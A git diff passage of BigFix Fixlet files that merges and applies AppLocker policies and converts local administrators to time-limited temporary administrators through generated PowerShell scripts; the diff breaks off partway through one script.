+    $xml = select-xml -Path $Ruleset.fullname -XPath "/AppLockerPolicy/RuleCollection"
+
+    foreach ($Collection in $XML) {{
+
+        if ($Collection.Node.Type -eq "Exe") {{
+            if ($Collection.Node.InnerXml.trim()) {{$ExeRules += $Collection.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $ExeMethod -ne "Enabled") {{ $ExeMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $ExeMethod = 'EnforcementMode="Enabled"' }
+        }
+
+        if ($Collection.Node.Type -eq "Script") {{
+            if ($Collection.Node.InnerXml.trim()) {{$ScriptRules += $Collection.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $ScriptMethod -ne "Enabled") {{ $ScriptMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $ScriptMethod = 'EnforcementMode="Enabled"' }
+        }
+
+        if ($Collection.Node.Type -eq "Msi") {{
+            if ($Collection.Node.InnerXml.trim()) {{$MsiRules += $Collection.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $MsiMethod -ne "Enabled") {{ $MsiMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $MsiMethod = 'EnforcementMode="Enabled"' }
+        }
+
+        if ($Collection.Node.Type -eq "AppX") {{
+            if ($Collection.Node.InnerXml.trim()) {{$AppXRules += $Xml.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $AppXMethod -ne "Enabled") {{ $AppXMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $AppXMethod = 'EnforcementMode="Enabled"' }
+        }
+    }
+}
+
+$Rules = @"
+<AppLockerPolicy Version="1">
+    <RuleCollection Type="Exe" $ExeMethod>
+        $ExeRules
+    </RuleCollection>
+    <RuleCollection Type="Msi" $MsiMethod>
+        $MsiRules
+    </RuleCollection>
+    <RuleCollection Type="Script" $ScriptMethod>
+        $ScriptRules
+    </RuleCollection>
+    <RuleCollection Type="Appx" $AppxMethod>
+        $AppxRules
+    </RuleCollection>
+</AppLockerPolicy>
+"@
+
+$Rules > "$Indir\Effective.xml"
+
+_end_
+
+delete mergerules.ps1
+move __createfile mergerules.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File mergerules.ps1 -inDir "{parameter "Storage"}"
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -XMLPolicy ""{parameter "Storage"}\Effective.xml"""]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes
index c092dd5ae..0e001a5d6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes	
@@ -1,820 +1,820 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Convert Permanent Administrators to Temporary Administrators - Windows
-  ID       : 24157
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:25:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Convert Permanent Administrators to Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet cycles through all explicitely defined local administrators and marks them as temporary administrators. This can be used to expire administrative rights over time.</P>
-<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(number of elements of it > 0) of (  /* Add All Explicit Members of Administrators */ set of component strings of (sids of members of local group "Administrators") whose (exists user of it)   /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry   /* Subtract Local Administrator (Can't Remove) */ - set of component string of sid of user "Administrator"  )]]></Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant all local administrators temporary administrative rights for 1 hour.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
-// -Current Temporary Administrators
-// -Local Admin Account (Can't Remove)
-
-parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (1 * hour)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action25216">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant all local administrators temporary administrative rights for&amp;nbsp;5 hours.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
-// -Current Temporary Administrators
-// -Local Admin Account (Can't Remove)
-
-parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (8 * hour)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25217">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant all local administrators temporary administrative rights for 1 day.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
-// -Current Temporary Administrators
-// -Local Admin Account (Can't Remove)
-
-parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (1 * day)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25218">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant all local administrators temporary administrative rights for 5 days.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
-// -Current Temporary Administrators
-// -Local Admin Account (Can't Remove)
-
-parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (5 * day)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
